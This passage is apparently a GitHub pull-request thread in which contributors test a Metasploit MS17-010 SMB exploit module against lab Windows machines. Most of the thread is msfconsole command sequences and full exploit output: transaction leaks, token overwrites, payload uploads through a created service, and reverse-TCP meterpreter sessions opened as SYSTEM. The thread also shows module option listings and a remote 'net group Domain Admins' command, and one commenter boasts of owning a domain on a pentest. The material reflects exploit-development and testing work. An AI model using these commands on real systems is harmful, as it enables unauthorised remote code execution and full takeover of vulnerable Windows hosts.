    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
    /pentest/exploit/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:110:in `cmd_exploit'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:548:in `run_command'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:510:in `block in run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `each'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/shell.rb:206:in `run'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    ./msfconsole:48:in `<main>'
    [*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.154:49169) at 2018-01-29 05:35:47 -0500
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > sysinfo
    Computer        : VISTA
    OS              : Windows Vista (Build 6000).
    Architecture    : x86
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x86/windows
    meterpreter >
    
[/code]  
---  
Contributor

###  **bcoles ** commented on 29 Jan

**Fail** on Windows Server 2003 SP2 with Automatic targeting
\(unauthenticated\).

[code]

    msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 172.16.191.171
    rhost => 172.16.191.171
    msf5 exploit(windows/smb/ms17_010_psexec) > run
    
    [*] Started reverse TCP handler on 172.16.191.244:4444 
    [*] 172.16.191.171:445 - Target OS: Windows Server 2003 R2 3790 Service Pack 2
    [*] 172.16.191.171:445 - Connected to named pipe: netlogon
    [*] 172.16.191.171:445 - Filling barrel with fish... done
    [*] 172.16.191.171:445 - <---------------- | Entering Danger Zone | ---------------->
    [*] 172.16.191.171:445 - 	[*] Preparing dynamite...
    [*] 172.16.191.171:445 - Attempt controlling next transaction on 
    [*] 172.16.191.171:445 - 		[*] Trying stick 1 (x86)...Boom!
    [*] 172.16.191.171:445 - 	[+] Successfully Leaked Transaction!
    [*] 172.16.191.171:445 - 	[+] Successfully caught Fish-in-a-barrel
    [*] 172.16.191.171:445 - <---------------- | Leaving Danger Zone | ---------------->
    [*] 172.16.191.171:445 - Reading from CONNECTION struct at: 0x81305d48
    [*] 172.16.191.171:445 - Built a write-what-where primitive...
    [*] 172.16.191.171:445 - Overwrote IsNullSession = 0, IsAdmin = 1 at 0xe1051556
    [*] 172.16.191.171:445 - Found TOKEN addr: 0x3778995736
    [*] 172.16.191.171:445 - UserAndGroupCount: 0x5
    [*] 172.16.191.171:445 - UserAndGroupsAddr: 0xe13ee6b8
    [*] 172.16.191.171:445 - Overwriting token UserAndGroups...
    [-] 172.16.191.171:445 - NoMethodError
    [-] 172.16.191.171:445 - undefined method `pack' for 4:Fixnum
    [-] 172.16.191.171:445 - /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:132:in `modify_token'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:55:in `eternal_pwn'
    /pentest/exploit/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:99:in `exploit'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:206:in `job_run_proc'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:167:in `run'
    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
    /pentest/exploit/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:110:in `cmd_exploit'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:548:in `run_command'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:510:in `block in run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `each'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/shell.rb:206:in `run'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    ./msfconsole:48:in `<main>'
    [*] Exploit completed, but no session was created.
    
[/code]  
---  
Contributor

###  **bcoles ** commented on 29 Jan

**Fail** on Windows XP Professional SP0 \(x86\) with Automatic targeting
\(unauthenticated\).

[code]

    msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 172.16.191.158
    rhost => 172.16.191.158
    msf5 exploit(windows/smb/ms17_010_psexec) > run
    
    [*] Started reverse TCP handler on 172.16.191.244:4444 
    [*] 172.16.191.158:445 - Target OS: Windows 5.1
    [*] 172.16.191.158:445 - Connected to named pipe: netlogon
    [*] 172.16.191.158:445 - Filling barrel with fish... done
    [*] 172.16.191.158:445 - <---------------- | Entering Danger Zone | ---------------->
    [*] 172.16.191.158:445 - 	[*] Preparing dynamite...
    [*] 172.16.191.158:445 - Attempt controlling next transaction on x86
    [*] 172.16.191.158:445 - 		[*] Trying stick 1 (x86)...Boom!
    [*] 172.16.191.158:445 - 	[+] Successfully Leaked Transaction!
    [*] 172.16.191.158:445 - 	[+] Successfully caught Fish-in-a-barrel
    [*] 172.16.191.158:445 - <---------------- | Leaving Danger Zone | ---------------->
    [*] 172.16.191.158:445 - Reading from CONNECTION struct at: 0x85d84220
    [*] 172.16.191.158:445 - Built a write-what-where primitive...
    [*] 172.16.191.158:445 - Overwrote IsNullSession = 0, IsAdmin = 1 at 0xe192095c
    [*] 172.16.191.158:445 - Found TOKEN addr: 0x3775231688
    [*] 172.16.191.158:445 - UserAndGroupCount: 0x180
    [*] 172.16.191.158:445 - UserAndGroupsAddr: 0xe1057750
    [*] 172.16.191.158:445 - Overwriting token UserAndGroups...
    [-] 172.16.191.158:445 - NoMethodError
    [-] 172.16.191.158:445 - undefined method `pack' for 4:Fixnum
    [-] 172.16.191.158:445 - /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:132:in `modify_token'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:55:in `eternal_pwn'
    /pentest/exploit/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:99:in `exploit'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:206:in `job_run_proc'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:167:in `run'
    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
    /pentest/exploit/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:110:in `cmd_exploit'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:548:in `run_command'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:510:in `block in run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `each'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/shell.rb:206:in `run'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    ./msfconsole:48:in `<main>'
    [*] Exploit completed, but no session was created.
    
[/code]  
---  
Damn, thanks a bunch. I soon as I deployed this on my early morning pentest I
owned AD in seconds 🥇  
---  
Contributor

###  **bcoles ** commented on 29 Jan

**Success** on Windows 2000 Professional SP4 \(x86\) with Automatic targeting
\(unauthenticated\).

[code]

    msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 172.16.191.160
    rhost => 172.16.191.160
    msf5 exploit(windows/smb/ms17_010_psexec) > run
    
    [*] Started reverse TCP handler on 172.16.191.244:4444 
    [*] 172.16.191.160:445 - Target OS: Windows 5.0
    [*] 172.16.191.160:445 - Connected to named pipe: netlogon
    [*] 172.16.191.160:445 - Filling barrel with fish... done
    [*] 172.16.191.160:445 - <---------------- | Entering Danger Zone | ---------------->
    [*] 172.16.191.160:445 - 	[*] Preparing dynamite...
    [*] 172.16.191.160:445 - Attempt controlling next transaction on x86
    [*] 172.16.191.160:445 - 		[*] Trying stick 1 (x86)...Boom!
    [*] 172.16.191.160:445 - 	[+] Successfully Leaked Transaction!
    [*] 172.16.191.160:445 - 	[+] Successfully caught Fish-in-a-barrel
    [*] 172.16.191.160:445 - <---------------- | Leaving Danger Zone | ---------------->
    [*] 172.16.191.160:445 - Reading from CONNECTION struct at: 0x81e48690
    [*] 172.16.191.160:445 - Built a write-what-where primitive...
    [*] 172.16.191.160:445 - Overwrote IsNullSession = 0, IsAdmin = 1 at 0xe1d2b2c4
    [*] 172.16.191.160:445 - Found TOKEN addr: 0x3786623280
    [*] 172.16.191.160:445 - UserAndGroupCount: 0x4
    [*] 172.16.191.160:445 - UserAndGroupsAddr: 0xe1b349c8
    [*] 172.16.191.160:445 - Overwriting token UserAndGroups...
    [+] 172.16.191.160:445 - Overwrite complete... SYSTEM session obtained!
    [*] 172.16.191.160:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
    [*] 172.16.191.160:445 - PowerShell not found
    [*] 172.16.191.160:445 - Selecting native target
    [*] 172.16.191.160:445 - Uploading payload...
    [*] 172.16.191.160:445 - Created \xJobxaMJ.exe...
    [*] 172.16.191.160:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.191.160[\svcctl] ...
    [*] 172.16.191.160:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.191.160[\svcctl] ...
    [*] 172.16.191.160:445 - Obtaining a service manager handle...
    [*] 172.16.191.160:445 - Creating the service...
    [+] 172.16.191.160:445 - Successfully created the service
    [*] 172.16.191.160:445 - Starting the service...
    [+] 172.16.191.160:445 - Service started successfully...
    [*] 172.16.191.160:445 - Removing the service...
    [+] 172.16.191.160:445 - Successfully removed the service
    [*] 172.16.191.160:445 - Closing service handle...
    [*] Sending stage (179779 bytes) to 172.16.191.160
    [*] 172.16.191.160:445 - Deleting \xJobxaMJ.exe...
    [-] 172.16.191.160:445 - Rex::Proto::SMB::Exceptions::NoReply
    [-] 172.16.191.160:445 - The SMB server did not reply to our request
    [-] 172.16.191.160:445 - /pentest/exploit/metasploit-framework/lib/rex/proto/smb/client.rb:74:in `smb_recv'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:1036:in `do_smb_echo'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:169:in `write_what_where'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:68:in `eternal_cleanup'
    /pentest/exploit/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:115:in `exploit'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:206:in `job_run_proc'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:167:in `run'
    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
    /pentest/exploit/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:110:in `cmd_exploit'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:548:in `run_command'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:510:in `block in run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `each'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/shell.rb:206:in `run'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    ./msfconsole:48:in `<main>'
    [*] Meterpreter session 4 opened (172.16.191.244:4444 -> 172.16.191.160:1027) at 2018-01-29 07:18:14 -0500
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > sysinfo
    Computer        : WIN2000PRO
    OS              : Windows 2000 (Build 2195).
    Architecture    : x86
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows
    meterpreter > 
    
[/code]  
---  
Contributor

###  **bcoles ** commented on 29 Jan

**Success** on Windows 2000 Advanced Server SP4 \(x86\) with Automatic
targeting \(unauthenticated\).

[code]

    msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 172.16.191.123
    rhost => 172.16.191.123
    msf5 exploit(windows/smb/ms17_010_psexec) > run
    
    [*] Started reverse TCP handler on 172.16.191.244:4444 
    [*] 172.16.191.123:445 - Target OS: Windows 5.0
    [*] 172.16.191.123:445 - Connected to named pipe: netlogon
    [*] 172.16.191.123:445 - Filling barrel with fish... done
    [*] 172.16.191.123:445 - <---------------- | Entering Danger Zone | ---------------->
    [*] 172.16.191.123:445 - 	[*] Preparing dynamite...
    [*] 172.16.191.123:445 - Attempt controlling next transaction on x86
    [*] 172.16.191.123:445 - 		[*] Trying stick 1 (x86)...Boom!
    [*] 172.16.191.123:445 - 	[+] Successfully Leaked Transaction!
    [*] 172.16.191.123:445 - 	[+] Successfully caught Fish-in-a-barrel
    [*] 172.16.191.123:445 - <---------------- | Leaving Danger Zone | ---------------->
    [*] 172.16.191.123:445 - Reading from CONNECTION struct at: 0x81c08670
    [*] 172.16.191.123:445 - Built a write-what-where primitive...
    [*] 172.16.191.123:445 - Overwrote IsNullSession = 0, IsAdmin = 1 at 0xe1c5d744
    [*] 172.16.191.123:445 - Found TOKEN addr: 0x3786852112
    [*] 172.16.191.123:445 - UserAndGroupCount: 0x4
    [*] 172.16.191.123:445 - UserAndGroupsAddr: 0xe1b6c7a8
    [*] 172.16.191.123:445 - Overwriting token UserAndGroups...
    [+] 172.16.191.123:445 - Overwrite complete... SYSTEM session obtained!
    [*] 172.16.191.123:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
    [*] 172.16.191.123:445 - PowerShell not found
    [*] 172.16.191.123:445 - Selecting native target
    [*] 172.16.191.123:445 - Uploading payload...
    [*] 172.16.191.123:445 - Created \YrqbqBmz.exe...
    [*] 172.16.191.123:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.191.123[\svcctl] ...
    [*] 172.16.191.123:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.191.123[\svcctl] ...
    [*] 172.16.191.123:445 - Obtaining a service manager handle...
    [*] 172.16.191.123:445 - Creating the service...
    [+] 172.16.191.123:445 - Successfully created the service
    [*] 172.16.191.123:445 - Starting the service...
    [+] 172.16.191.123:445 - Service started successfully...
    [*] 172.16.191.123:445 - Removing the service...
    [+] 172.16.191.123:445 - Successfully removed the service
    [*] 172.16.191.123:445 - Closing service handle...
    [*] Sending stage (179779 bytes) to 172.16.191.123
    [*] 172.16.191.123:445 - Deleting \YrqbqBmz.exe...
    [-] 172.16.191.123:445 - Rex::Proto::SMB::Exceptions::NoReply
    [-] 172.16.191.123:445 - The SMB server did not reply to our request
    [-] 172.16.191.123:445 - /pentest/exploit/metasploit-framework/lib/rex/proto/smb/client.rb:74:in `smb_recv'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:1036:in `do_smb_echo'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:169:in `write_what_where'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:68:in `eternal_cleanup'
    /pentest/exploit/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:115:in `exploit'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:206:in `job_run_proc'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:167:in `run'
    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
    /pentest/exploit/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:110:in `cmd_exploit'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:548:in `run_command'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:510:in `block in run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `each'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/shell.rb:206:in `run'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    ./msfconsole:48:in `<main>'
    [*] Meterpreter session 5 opened (172.16.191.244:4444 -> 172.16.191.123:1038) at 2018-01-29 07:54:26 -0500
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > sysinfo 
    Computer        : WIN2000ADVSRV
    OS              : Windows 2000 (Build 2195).
    Architecture    : x86
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows
    meterpreter > 
    
[/code]  
---  
Contributor

###  **zerosum0x0 ** commented on 29 Jan •

Thanks for testing @bcoles\! I believe I fixed the issue on Server 2003 SP2
and XP SP0, it was a Ruby syntax/runtime error on a branch not often taken.
I've also put a handler to ignore ::Rex::Proto::SMB::Exceptions::NoReply
during cleanup, so your output should look better.  
---  
Contributor

###  **mkienow-r7 ** commented on 29 Jan •

**Success** on Windows Server 2012 R2 Standard 9600 \(x64\) with Automatic
targeting \(authenticated with SMBUser and SMBPass\) and \(unauthenticated
after tweaking settings with gpedit.msc shown below\).

[code]

    msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.1.107
    rhosts => 192.168.1.107
    msf5 auxiliary(admin/smb/ms17_010_command) > run
    
    [*] 192.168.1.107:445      - Target OS: Windows Server 2012 R2 Standard 9600
    [*] 192.168.1.107:445      - Built a write-what-where primitive...
    [+] 192.168.1.107:445      - Overwrite complete... SYSTEM session obtained!
    [+] 192.168.1.107:445      - Service start timed out, OK if running a command or non-service executable...
    [*] 192.168.1.107:445      - Output for "net group "Domain Admins" /domain":
    The request will be processed at a domain controller for domain WORKGROUP.
    
    
    [+] 192.168.1.107:445      - Cleanup was successful
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    
[/code]

[code]

    msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.1.107
    rhost => 192.168.1.107
    msf5 exploit(windows/smb/ms17_010_psexec) > exploit
    
    [*] Started reverse TCP handler on 192.168.1.101:4444
    [*] 192.168.1.107:445 - Target OS: Windows Server 2012 R2 Standard 9600
    [*] 192.168.1.107:445 - Built a write-what-where primitive...
    [+] 192.168.1.107:445 - Overwrite complete... SYSTEM session obtained!
    [*] 192.168.1.107:445 - Selecting PowerShell target
    [*] 192.168.1.107:445 - Executing the payload...
    [+] 192.168.1.107:445 - Service start timed out, OK if running a command or non-service executable...
    [*] Sending stage (179779 bytes) to 192.168.1.107
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > sysinfo
    Computer        : VM-2012-R2
    OS              : Windows 2012 R2 (Build 9600).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows
    meterpreter >
    
[/code]  
---  
Contributor

###  **zerosum0x0 ** commented on 30 Jan •

Yea, SYN with RST/ACK is an explicit response the host is up but the port is
closed. Looks like code execution is successful though. There are two things
you can try, either increase the "wait for shell" timeout option, or use the
auxiliary module. The auxiliary will transmit the command output back over the
already open connection. To clarify, these hosts work fine with defaults
individually, but are only failing during a mass audit, correct?  
---  
Contributor

###  **sempervictus ** commented on 30 Jan

This is why having persistent handlers with disablepayloadhandler set to true
is a godsend, decouples the guesswork of timing exploit execution to handling
the response. Random delays added by powershell evasion tricks can cause this
too, so it may help to separate the sploits potential issues from framework's.  
---  
Contributor

###  **zerosum0x0 ** commented on 31 Jan

Pushed a more robust fix for the XP SP0/SP1 problem. Tested on:

  * 2K SP0
  * XP SP0
  * XP SP1
  * XP SP2
  * XP SP3
  * XP SP2 x64

Could use retest on 2K SP4.  
---  
Contributor

###  **bcoles ** commented on 31 Jan

Successfully re-tested on Windows 2000 Advanced Server SP4 \(x86\) with
Automatic targeting \(unauthenticated\).  
---  
Contributor

###  **bwatters-r7 ** commented on 31 Jan

After a quick change to the automated test, I can launch individual tests. The
results got much better when only running one set of VMs at a time, though it
does take a while: Win10x64\_1703  
FAILED Win2008r2x64  
PASSED Win7x64sp1  
PASSED Win10x64\_1607  
PASSED Win2016x64  
PASSED Win10x86\_1511  
PASSED Win8x64  
PASSED Win2012x64  
PASSED Win2008r2x64sp1  
PASSED Win8x86  
PASSED Win81x64  
PASSED Win81x86sp1  
PASSED Win81x86  
PASSED Win10x86\_1703  
FAILED Win10x86  
PASSED Win81x64sp1  
PASSED Win10x64\_1511  
FAILED Win2012r2x64  
PASSED Win7x64  
PASSED Win10x86\_1607  
PASSED Win10x64  
PASSED Win7x86sp1  
PASSED Win2012r2x64sp1  
PASSED Win7x86  
PASSED I'm rerunning the failures to recheck.  
---  
Contributor

###  **zerosum0x0 ** commented on 31 Jan •

[code]

    Win10x64_1703
    FAILED
    
    Win10x86_1703
    FAILED
    
[/code]

Windows 10 1703, first public release date I can find is April 25, 2017, but
preview is August 17, 2016. Looks like 10.0.15055 is last version before
MS17-010 was available, and 10.0.15063.251 is public release of 1703. Patch
might be bundled in later versions. Can you post the specific NT kernel
version number and srv.sys version?

[code]

    Win10x64_1511
    FAILED
    
[/code]

That should have passed though. Can you post a DBGTRACE?
https://en.wikipedia.org/wiki/Windows\_10\_version\_history  
---  
Contributor

###  **bwatters-r7 ** commented on 31 Jan •

Yes, 1703 is patched. Looking at the console, the version is 10.0.15063, and
the iso states it was from march 2017. Looking at the logs, the failure on
Win10x64\_1511 has nothing to do with the exploit. I had some hiccups in my
network for a few minutes that I did not think about, and when I dug into the
logs, the automated checkout of the specified branch failed, so it fell back
to the previously-loaded branch, which did not have the module:

[code]

    > use exploit/windows/smb/ms17_010_psexec
    [-] Failed to load module: exploit/windows/smb/ms17_010_psexec
    
[/code]

When I retest with 1511 and it checks out the right branch, it passes.....  
---  
Contributor

###  **zerosum0x0 ** commented on 31 Jan •

Awesome thanks @bwatters-r7, just added a lot of new targets to the test list.
Here's what's left:

  * Windows Server 2003 x64
  * Windows Vista x64
  * Windows Server 2008 x86
  * Windows Server 2008 x64
  * Windows 10 10.10240 x86
  * Windows 10 10.10240 x64

Windows 10 is probably fine, but once we've done the Vista/2008 era hosts I
will be convinced.  
---  
Contributor

###  **bwatters-r7 ** commented on 31 Jan

I don't have a Vista machine configured for automated testing, but I have
these:  
Win2008x86\_SP1  
Win2003x86\_SP1  
Win2003x86\_SP0  
Win2003x86\_R2\_SP2  
Win2003x86\_R2\_SP1  
Win2008x64\_R2\_SP1  
Win2008x64  
Win2003x64\_SP1 They look configured correctly, but I don't often use the
extended server range, so I'm not sure if they will work, but heck..... why
not try. Because I can't run parallel tests, this is going to take a couple
hours.  
---  
How WE Can merge your branch to help you testing? Sry new to github  
---  
Contributor

###  **zerosum0x0 ** commented on 1 Feb •

@bwatters-r7 very interested in all service packs of Server 2003 actually.
Could have similar issues as XP did. @iNoSec something like \(untested\)

[code]

    git clone https://github.com/rapid7/metasploit-framework/
    cd metasploit-framework
    git remote add rs https://github.com/RiskSense-Ops/metasploit-framework/
    git pull rs eternalsynergy
    
[/code]  
---  
Contributor

###  **bwatters-r7 ** commented on 1 Feb

FYI, tests still running, but Win2003x86\_SP0 succeeded. Win2003x64\_SP1
failed; debug output:

[code]

    Module options (exploit/windows/smb/ms17_010_psexec):
    
       Name                  Current Setting  Required  Description
       ----                  ---------------  --------  -----------
       DBGTRACE              true             yes       Show extra debug trace info
       LEAKATTEMPTS          99               yes       How many times to try to leak transaction
       NAMEDPIPE                              no        A named pipe that can be connected to (leave blank for auto)
       Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOST                 192.168.136.121  yes       The target address
       RPORT                 445              yes       The Target port
       SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
       SERVICE_DISPLAY_NAME                   no        The service display name
       SERVICE_NAME                           no        The service name
       SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
       SMBDomain             .                no        The Windows domain to use for authentication
       SMBPass               [REDACTED]     no        The password for the specified username
       SMBUser               Administrator    no        The username to authenticate as
    
    
    Payload options (windows/meterpreter/reverse_tcp):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST     192.168.135.112  yes       The listen address
       LPORT     30001            yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic
    
    
    [*] resource (/home/msfuser/rapid7/test_artifacts/test_rc/exploit-windows-smb-ms17_010_psexec_192.168.136.121_30001.rc)> Ruby Code (13 bytes)
    resource (/home/msfuser/rapid7/test_artifacts/test_rc/exploit-windows-smb-ms17_010_psexec_192.168.136.121_30001.rc)> check
    [*] 192.168.136.121:445 This module does not support check.
    resource (/home/msfuser/rapid7/test_artifacts/test_rc/exploit-windows-smb-ms17_010_psexec_192.168.136.121_30001.rc)> run -z
    [*] Started reverse TCP handler on 192.168.135.112:30001 
    [*] 192.168.136.121:445 - Target OS: Windows Server 2003 3790 Service Pack 1
    [*] 192.168.136.121:445 - Connected to named pipe: netlogon
    [*] 192.168.136.121:445 - Filling barrel with fish... done
    [*] 192.168.136.121:445 - <---------------- | Entering Danger Zone | ---------------->
    [*] 192.168.136.121:445 - 	[*] Preparing dynamite...
    [*] 192.168.136.121:445 - Attempt controlling next transaction on 
    [*] 192.168.136.121:445 - 		Trying stick 1 (x86)...Miss
    [-] 192.168.136.121:445 - NoMethodError
    [-] 192.168.136.121:445 - undefined method `[]' for nil:NilClass
    [-] 192.168.136.121:445 - /home/msfuser/rapid7/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:657:in `block in exploit_fish_barrel'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:655:in `each'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:655:in `exploit_fish_barrel'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:40:in `eternal_pwn'
    /home/msfuser/rapid7/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:99:in `exploit'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/core/exploit_driver.rb:206:in `job_run_proc'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/core/exploit_driver.rb:167:in `run'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:110:in `cmd_exploit'
    /home/msfuser/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:548:in `run_command'
    /home/msfuser/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:510:in `block in run_single'
    /home/msfuser/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `each'
    /home/msfuser/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `run_single'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/ui/console/driver.rb:360:in `load_resource'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/ui/console/driver.rb:218:in `block in initialize'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/ui/console/driver.rb:217:in `each'
    /home/msfuser/rapid7/metasploit-framework/lib/msf/ui/console/driver.rb:217:in `initialize'
    /home/msfuser/rapid7/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in `new'
    /home/msfuser/rapid7/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in `driver'
    /home/msfuser/rapid7/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
    /home/msfuser/rapid7/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    ./msfconsole:48:in `<main>'
    
[/code]

Other tests still running.  
---  
Contributor

###  **zerosum0x0 ** commented on 1 Feb •

Woops. Wrong key when adding x64 to dynamite list, try Win2003x64\_SP1 again
please.  
---  
Contributor

###  **bwatters-r7 ** commented on 1 Feb

Roger. The tests are scripted, but it will grab the most up-to-date version of
the code for the PR, so your new push would have been used on the next OS.
Here are the results so far:  
Win2003x86\_SP0  
PASSED  
Win2003x64\_SP1  
